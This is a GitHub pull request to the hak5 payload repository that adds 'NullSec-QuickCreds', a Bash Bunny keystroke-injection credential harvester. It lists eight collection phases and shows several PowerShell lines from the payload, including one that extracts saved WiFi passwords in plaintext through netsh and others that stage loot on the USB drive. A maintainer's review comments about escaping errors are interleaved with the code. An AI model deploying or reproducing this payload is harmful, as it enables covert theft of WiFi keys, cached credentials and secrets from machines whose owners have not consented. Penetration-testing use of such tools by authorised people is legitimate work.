Skip to content

Add NullSec-QuickCreds multi-phase credential harvester - #708

Open
bad-antics wants to merge 1 commit into
hak5:masterfrom
bad-antics:nullsec-quickcreds
Open

Add NullSec-QuickCreds multi-phase credential harvester#708
bad-antics wants to merge 1 commit into
hak5:masterfrom
bad-antics:nullsec-quickcreds

Conversation

@bad-antics

Copy link
Copy Markdown
Contributor

NullSec-QuickCreds

A comprehensive multi-phase credential harvester for the Bash Bunny using HID+STORAGE attack mode.

Attack Phases

  1. WiFi Credentials - Extracts all saved WiFi profiles and plaintext passwords via netsh wlan
  2. System Info - Hostname, OS version, domain, architecture
  3. Clipboard - Captures current clipboard contents
  4. Recent Documents - Lists recently accessed files from Recent folder
  5. Browser Data Paths - Identifies Chrome, Firefox, Edge data directories
  6. Environment Secrets - Extracts sensitive environment variables (API keys, tokens, secrets)
  7. Cached Credentials - Dumps Windows Credential Manager entries via cmdkey
  8. Network Connections - Active TCP/UDP connections and listening ports

Features

  • LED Status Indicators - Visual feedback for each attack phase
  • HID+STORAGE Mode - Types commands via keyboard, saves loot to USB
  • Organized Output - Timestamped sections with clear headers
  • Hidden Execution - Minimized PowerShell window
  • Fast Execution - Completes all 8 phases in ~15 seconds

Output

Loot saved to: /loot/quickcreds/HOSTNAME_TIMESTAMP.txt

Tested on: Windows 10/11
Attack Mode: HID + STORAGE

Multi-phase credential harvester using HID+STORAGE attack mode:
- WiFi profiles and passwords via netsh wlan
- System information and domain enumeration
- Clipboard contents capture
- Recent documents listing
- Browser data paths identification
- Environment variable secrets extraction
- Cached credentials via cmdkey
- Active network connections

Features LED status indicators for each phase and saves
all loot to USB storage in organized format.
Q DELAY 1500

# Get the BB drive letter
Q STRING \$bb = (Get-Volume -FileSystemLabel 'BashBunny' -ErrorAction SilentlyContinue).DriveLetter

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is not properly escaped, Due to the similar syntax between power shell and bash, you have to escape strings that are intended to be injected to the host,

For example:

Q STRING "\$bb = (Get-Volume -FileSystemLabel 'BashBunny' -ErrorAction SilentlyContinue).DriveLetter"

In its current state, this line will create a syntax error inside the bashbunnys bash interpreter, causing the payload to fail.

I also suggest making the Label name a bash variable, as not everyone will be using default label name.

DRIVE ="BashBunny"

Q STRING echo "\$bb = (Get-Volume -FileSystemLabel '$DRIVE' -ErrorAction SilentlyContinue).DriveLetter"

Q STRING \$bb = (Get-Volume -FileSystemLabel 'BashBunny' -ErrorAction SilentlyContinue).DriveLetter
Q ENTER
Q DELAY 500
Q STRING if(-not \$bb){\$bb = (Get-Volume | Where-Object {\$_.DriveType -eq 'Removable' -and \$_.Size -gt 1GB} | Select-Object -First 1).DriveLetter}

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is not properly escaped. Please add correct escapes to prevent payload failure.

Q STRING \$loot = \"\${bb}:\\loot\"
Q ENTER
Q DELAY 300
Q STRING New-Item -ItemType Directory -Path \$loot -Force | Out-Null

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is not properly escaped. Please add correct escapes to prevent payload failure.

Q DELAY 300

# WiFi profiles
Q STRING \$wifi = @(); (netsh wlan show profiles) | Select-String ':\s*(.+)\$' | ForEach-Object { \$name = \$_.Matches.Groups[1].Value.Trim(); \$detail = netsh wlan show profile name=\"\$name\" key=clear; \$key = (\$detail | Select-String 'Key Content\s+:\s+(.+)\$'); \$pw = if(\$key){\$key.Matches.Groups[1].Value.Trim()}else{'N/A'}; \$wifi += \"\$name = \$pw\" }; \$wifi | Out-File \"\$loot\\wifi.txt\"

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is not properly escaped. Please add correct escapes to prevent payload failure.

Q DELAY 2000

# === Phase 2: System & User Info ===
Q STRING \$info = @(\"Computer: \$env:COMPUTERNAME\", \"User: \$env:USERNAME\", \"Domain: \$env:USERDOMAIN\", \"OS: \$((Get-CimInstance Win32_OperatingSystem).Caption)\", \"IP: \$((Get-NetIPAddress -AddressFamily IPv4 | Where-Object {\$_.InterfaceAlias -notmatch 'Loopback'}).IPAddress -join ', ')\"); \$info | Out-File \"\$loot\\sysinfo.txt\"

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line is not properly escaped. Please add correct escapes to prevent payload failure.

Please double check and review payload to ensure injected power shell is properly escaped.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants